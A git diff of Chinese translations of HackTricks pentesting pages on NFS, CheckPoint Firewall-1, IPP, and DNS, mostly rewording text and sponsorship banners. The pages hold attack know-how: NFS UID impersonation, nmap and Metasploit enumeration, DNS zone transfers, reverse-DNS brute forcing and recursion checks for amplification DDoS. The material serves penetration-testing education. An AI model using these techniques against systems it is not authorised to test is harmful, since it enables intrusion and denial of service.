||||
|
@ -30,7 +30,7 @@
|
|||
|
||||
- **NFSv3**:引入了一系列增强功能,NFSv3通过支持可变文件大小和提供改进的错误报告机制扩展了其前身。尽管有所进步,但它在与NFSv2客户端的完全向后兼容方面存在限制。
|
||||
|
||||
- **NFSv4**:作为NFS系列中的一个里程碑版本,NFSv4带来了一系列旨在现代化网络文件共享的功能。值得注意的改进包括集成Kerberos以实现**高安全性**,能够穿越防火墙并在互联网上运行而无需端口映射器,支持访问控制列表(ACL),以及引入基于状态的操作。其性能改进和采用有状态协议的特点将NFSv4区别为网络文件共享技术中的重大进步。
|
||||
- **NFSv4**:作为NFS系列中的一个里程碑版本,NFSv4带来了一系列旨在现代化网络文件共享的功能。值得注意的改进包括集成Kerberos以实现**高安全性**,能够穿越防火墙并在互联网上运行而无需端口映射器,支持访问控制列表(ACL),以及引入基于状态的操作。其性能改进和采用有状态协议使NFSv4成为网络文件共享技术中的重要进步。
|
||||
|
||||
每个NFS版本都是为了满足网络环境不断发展的需求而开发的,逐渐增强安全性、兼容性和性能。
|
||||
|
||||
|
@ -65,7 +65,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
|||
```
|
||||
## 权限
|
||||
|
||||
如果您挂载一个包含**只能被某个用户(通过**UID**)访问的文件或文件夹**的文件夹。您可以**在本地创建**一个具有该**UID**的用户,并使用该**用户**即可**访问**该文件/文件夹。
|
||||
如果您挂载一个包含**只能被某个用户(通过UID)访问的文件或文件夹**的文件夹。您可以**在本地创建**一个具有该**UID**的用户,并使用该**用户**即可**访问**该文件/文件夹。
|
||||
|
||||
## NSFShell
|
||||
|
||||
|
@ -82,11 +82,11 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
|
|||
|
||||
- **读写权限 (`rw`):** 此设置允许对文件系统进行读取和写入操作。必须考虑授予此类广泛访问权限的影响。
|
||||
|
||||
- **使用不安全端口 (`insecure`):** 启用此选项后,系统可以利用高于1024的端口。高于此范围的端口安全性可能较低,增加了风险。
|
||||
- **使用不安全端口 (`insecure`):** 启用此选项后,系统可以利用高于1024的端口。这些范围之上的端口安全性可能较低,增加了风险。
|
||||
|
||||
- **嵌套文件系统的可见性 (`nohide`):** 此配置使得即使在导出目录下挂载了另一个文件系统,目录仍然可见。每个目录都需要自己的导出条目以进行正确管理。
|
||||
|
||||
- **根文件所有权 (`no_root_squash`):** 使用此设置,由根用户创建的文件将保持其原始的 UID/GID 为 0,忽略了最小特权原则,可能授予了过多的权限。
|
||||
- **根文件所有权 (`no_root_squash`):** 使用此设置,由根用户创建的文件将保持其原始的 UID/GID 为 0,不考虑最小权限原则,可能授予过多权限。
|
||||
|
||||
- **不压缩所有用户 (`no_all_squash`):** 此选项确保用户身份在整个系统中保持不变,如果处理不当,可能导致权限和访问控制问题。
|
||||
|
||||
|
@ -123,12 +123,12 @@ Command: nmap --script=nfs-ls.nse,nfs-showmount.nse,nfs-statfs.nse -p 2049 {IP}
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)。
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,20 +2,20 @@
|
|||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
可以与**CheckPoint** **Firewall-1**防火墙进行交互,以发现有价值的信息,如防火墙名称和管理站名称。这可以通过向端口**264/TCP**发送查询来完成。
|
||||
可以与**CheckPoint** **Firewall-1**防火墙进行交互,以发现有价值的信息,如防火墙名称和管理站点名称。这可以通过向端口**264/TCP**发送查询来完成。
|
||||
|
||||
### 获取防火墙和管理站名称
|
||||
### 获取防火墙和管理站点名称
|
||||
|
||||
使用预身份验证请求,您可以执行一个针对**CheckPoint Firewall-1**的模块。以下是执行此操作所需的命令:
|
||||
```bash
|
||||
|
@ -53,10 +53,10 @@ CN=Panama,O=MGMTT.srv.rxfrmi
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -15,11 +15,11 @@
|
|||
|
||||
# 互联网打印协议 \(IPP\)
|
||||
|
||||
**互联网打印协议(IPP)**,如**RFC2910**和**RFC2911**中所规定的,是互联网打印的基础。它的可扩展性得到了展示,例如**IPP Everywhere**的发展,旨在标准化移动和云打印,以及为**3D打印**引入扩展。
|
||||
**互联网打印协议(IPP)**,如**RFC2910**和**RFC2911**中所规定的,作为在互联网上进行打印的基础。它的可扩展性通过**IPP Everywhere**等发展得到展示,旨在标准化移动和云打印,并引入了用于**3D打印**的扩展。
|
||||
|
||||
利用**HTTP**协议,IPP受益于已建立的安全实践,包括**基本/摘要身份验证**和**SSL/TLS加密**。执行提交打印作业或查询打印机状态等操作是通过针对运行在**631/tcp端口**上的IPP服务器的**HTTP POST请求**来完成的。
|
||||
利用**HTTP**协议,IPP受益于已建立的安全实践,包括**基本/摘要身份验证**和**SSL/TLS加密**。执行诸如提交打印作业或查询打印机状态等操作是通过针对运行在**631/tcp端口**上的IPP服务器的**HTTP POST请求**完成的。
|
||||
|
||||
IPP的一个众所周知的实现是**CUPS**,这是一个开源打印系统,在各种Linux发行版和OS X中广泛使用。尽管它很实用,但IPP,类似于LPD,可能被利用来通过**PostScript**或**PJL文件**传输恶意内容,突显了潜在的安全风险。
|
||||
IPP的一个众所周知的实现是**CUPS**,这是一个开源打印系统,在各种Linux发行版和OS X中广泛使用。尽管它很实用,但类似于LPD,IPP可以被利用来通过**PostScript**或**PJL文件**传输恶意内容,突显了潜在的安全风险。
|
||||
```python
|
||||
# Example of sending an IPP request using Python
|
||||
import requests
|
||||
|
@ -43,8 +43,8 @@ print(response.status_code)
|
|||
|
||||
* 如果你想看到你的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享你的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,19 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**默认端口:** 2301,2381
|
||||
**默认端口:** 2301,2381
|
||||
|
||||
# **默认密码**
|
||||
|
||||
|
@ -31,14 +31,14 @@ jboss-service.xml
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# 53 - 渗透测试 DNS
|
||||
# 53 - DNS 渗透测试
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,23 +6,23 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时提供的漏洞评估和渗透测试设置**。使用 20 多种工具和功能从侦察到报告运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,让他们有更多时间深入挖掘、弹出 shell 并享受乐趣。
|
||||
**即时可用的漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省一些时间,深入挖掘,弹出 shell 并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**域名系统(DNS)** 充当互联网的目录,允许用户通过易记的域名(如 google.com 或 facebook.com)访问网站,而不是数字的互联网协议(IP)地址。通过将域名翻译为 IP 地址,DNS 确保 Web 浏览器可以快速加载互联网资源,简化我们在线世界中的导航方式。
|
||||
**域名系统(DNS)** 充当互联网的目录,允许用户通过易记的域名(如 google.com 或 facebook.com)访问网站,而不是数字的互联网协议(IP)地址。通过将域名翻译为 IP 地址,DNS 确保 Web 浏览器可以快速加载互联网资源,简化我们在在线世界中的导航方式。
|
||||
|
||||
**默认端口:** 53
|
||||
```
|
||||
|
@ -35,15 +35,15 @@ PORT STATE SERVICE REASON
|
|||
|
||||
- **DNS根服务器**:位于DNS层次结构的顶部,管理顶级域,并仅在较低级别服务器不响应时介入。互联网名称分配和编号机构(**ICANN**)监督它们的运作,全球共有13个。
|
||||
|
||||
- **权威域名服务器**:这些服务器对其指定区域的查询拥有最终决定权,提供明确的答案。如果它们无法提供响应,则将查询升级到根服务器。
|
||||
- **权威域名服务器**:这些服务器对其指定区域的查询拥有最终决定权,提供明确的答案。如果它们无法提供响应,查询将升级到根服务器。
|
||||
|
||||
- **非权威域名服务器**:这些服务器没有对DNS区域的所有权,它们通过查询其他服务器来收集域信息。
|
||||
- **非权威域名服务器**:这些服务器没有对DNS区域的所有权,它们通过查询其他服务器收集域信息。
|
||||
|
||||
- **缓存DNS服务器**:这种类型的服务器会记住先前查询的答案一段时间,以加快未来请求的响应时间,缓存持续时间由权威服务器决定。
|
||||
|
||||
- **转发服务器**:扮演简单角色的转发服务器只是将查询转发到另一个服务器。
|
||||
|
||||
- **解析器**:集成在计算机或路由器中,解析器在本地执行名称解析,不被视为权威。
|
||||
- **解析器**:集成在计算机或路由器中,解析器在本地执行名称解析,不被视为具有权威性。
|
||||
|
||||
## 枚举
|
||||
|
||||
|
@ -56,11 +56,11 @@ dig version.bind CHAOS TXT @DNS
|
|||
```
|
||||
此外,工具[`fpdns`](https://github.com/kirei/fpdns)也可以对服务器进行指纹识别。
|
||||
|
||||
还可以使用**nmap**脚本获取横幅信息:
|
||||
还可以使用**nmap**脚本获取横幅:
|
||||
```
|
||||
--script dns-nsid
|
||||
```
|
||||
### **任何记录**
|
||||
### **任意记录**
|
||||
|
||||
**ANY** 记录将要求 DNS 服务器返回其愿意披露的所有可用条目。
|
||||
```bash
|
||||
|
@ -68,7 +68,7 @@ dig any victim.com @<DNS_IP>
|
|||
```
|
||||
### **区域传送**
|
||||
|
||||
该过程简称为`异步完整传送区域`(`AXFR`)。
|
||||
该过程简称为`Asynchronous Full Transfer Zone`(`AXFR`)。
|
||||
```bash
|
||||
dig axfr @<DNS_IP> #Try zone transfer without domain
|
||||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
|
@ -151,36 +151,30 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal
|
|||
```
|
||||
### IPv6
|
||||
|
||||
使用“AAAA”请求进行暴力破解,以收集子域的IPv6地址。
|
||||
使用"AAAA"请求进行暴力破解,以收集子域的IPv6地址。
|
||||
```bash
|
||||
dnsdict6 -s -t <domain>
|
||||
```
|
||||
## Bruteforce reverse DNS in using IPv6 addresses
|
||||
|
||||
### Introduction
|
||||
### IPv6 Address Enumeration
|
||||
|
||||
In IPv6, reverse DNS lookup is performed by reversing the IP address nibble by nibble and appending the DNS zone. This process can be automated using tools like `dnsrevenum6` to bruteforce reverse DNS entries for IPv6 addresses.
|
||||
IPv6 addresses are 128 bits long, compared to the 32-bit IPv4 addresses. This makes brute-forcing IPv6 addresses significantly more challenging due to the increased address space.
|
||||
|
||||
### Steps to bruteforce reverse DNS in IPv6
|
||||
### Reverse DNS Enumeration
|
||||
|
||||
1. **Generate IPv6 addresses**: Use a tool like `ipv6gen` to generate a list of IPv6 addresses to bruteforce reverse DNS entries.
|
||||
Reverse DNS lookups for IPv6 addresses involve querying the PTR records in the DNS server. By bruteforcing reverse DNS, an attacker can discover the hostnames associated with IPv6 addresses.
|
||||
|
||||
2. **Perform reverse DNS lookup**: Use `dnsrevenum6` tool to perform reverse DNS lookup for each generated IPv6 address.
|
||||
### Tools for Bruteforcing Reverse DNS
|
||||
|
||||
3. **Automate the process**: Write a script to automate the generation of IPv6 addresses and reverse DNS lookup using `dnsrevenum6`.
|
||||
|
||||
4. **Analyzing results**: Analyze the results to identify any misconfigurations or potential security issues in the reverse DNS entries.
|
||||
|
||||
### Conclusion
|
||||
|
||||
Bruteforcing reverse DNS entries for IPv6 addresses can help identify misconfigured DNS entries or potential security vulnerabilities in the network. It is essential for pentesters to perform thorough testing of reverse DNS configurations to ensure the security of the network.
|
||||
Tools like `dnsrecon`, `dnsenum`, and `Fierce` can be used for bruteforcing reverse DNS in IPv6 addresses. These tools automate the process of querying PTR records and can help in identifying hostnames associated with IPv6 addresses.
|
||||
```bash
|
||||
dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net
|
||||
```
|
||||
### DNS递归DDoS
|
||||
|
||||
如果**启用了DNS递归**,攻击者可以**伪造**UDP数据包中的**源**,以便使**DNS将响应发送到受害者服务器**。攻击者可以滥用**ANY**或**DNSSEC**记录类型,因为它们通常具有更大的响应。\
|
||||
检查DNS是否支持**递归**的方法是查询一个域名,并**检查**响应中是否有**标志"ra"**(_递归可用_):
|
||||
检查DNS是否支持**递归**的方法是查询一个域名,并检查响应中是否包含**标志"ra"**(_递归可用_):
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -194,13 +188,13 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**即时提供漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,拥有20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
**即时提供漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,具有从侦察到报告的20多种工具和功能。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
### 发送到不存在账户的邮件
|
||||
|
||||
通过检查发送到目标域中无效地址的电子邮件引发的非投递通知(NDN),通常会披露有价值的内部网络详细信息。
|
||||
通过检查由发送到目标域中无效地址的电子邮件触发的非投递通知(NDN),通常会披露有价值的内部网络详细信息。
|
||||
|
||||
提供的非投递报告包括以下信息:
|
||||
|
||||
|
@ -308,20 +302,20 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**立即提供漏洞评估和渗透测试设置**。从侦察到报告,使用20多种工具和功能运行完整的渗透测试。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
**立即提供漏洞评估和渗透测试设置**。从任何地方运行完整的渗透测试,使用20多种工具和功能,从侦察到报告。我们不取代渗透测试人员 - 我们开发定制工具、检测和利用模块,为他们节省时间深入挖掘、弹出shell并享受乐趣。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,10 +6,10 @@
|
|||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
